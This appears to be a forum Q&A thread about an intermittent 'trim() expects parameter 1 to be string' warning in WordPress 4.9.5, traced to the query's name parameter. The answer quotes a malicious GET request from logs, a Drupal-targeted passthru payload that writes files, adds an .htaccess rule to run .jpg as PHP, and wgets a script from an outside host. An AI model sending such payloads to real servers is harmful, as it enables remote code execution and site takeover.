WordPress 4.9.5 PHP intermittent warning trim() expects parameter 1 to be string, array given

I am running WordPress 4.9.5 and occasionally see the following error in my logs.

E_WARNING: trim() expects parameter 1 to be string, array given

The stack trace looks like this, so it’s not coming from custom theme code.

in trim called at /var/www/wordpress/html/wp-includes/class-wp-query.php (736)
…::parse_query called at /var/www/wordpress/html/wp-includes/
class-wp-query.php (1621)
…ry::get_posts called at /var/www/wordpress/html/wp-includes/
class-wp-query.php (3230)
in WP_Query::query called at /var/www/wordpress/html/wp-includes/class-wp.php (599)
in WP::query_posts called at /var/www/wordpress/html/wp-includes/class-wp.php (715)
in WP::main called at /var/www/wordpress/html/wp-includes/functions.php (960)
in wp called at /var/www/wordpress/html/wp-blog-header.php (16)
in require called at /var/www/wordpress/html/index.php (17)

Is this a known/unknown WordPress bug and is there a fix for it?

I ran into this today. It’s a bug. I filed a bug report here:

https://core.trac.wordpress.org/ticket/46797

The problem is this line of code:

$qv['name'] = trim( $qv['name'] );

Source: https://github.com/WordPress/wordpress-develop/blob/a0ca5afd8977b5a3857084d9cb1bd345166e2f21/src/wp-includes/class-wp-query.php#L764

A (malicious) user sends a request that looks like:

GET /?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=echo ‘Vuln!! patch it Now!’ > vuln.htm; echo ‘Vuln!!’> sites/default/files/vuln.php; echo ‘Vuln!!’> vuln.php; cd sites/default/files/; echo ‘AddType application/x-httpd-php .jpg’ > .htaccess; wget ‘http://40k.waszmann.de/Deutsch/images/up.php’

Such a request makes $qv[‘name’] an array, not a string.

Needs to be sanitized.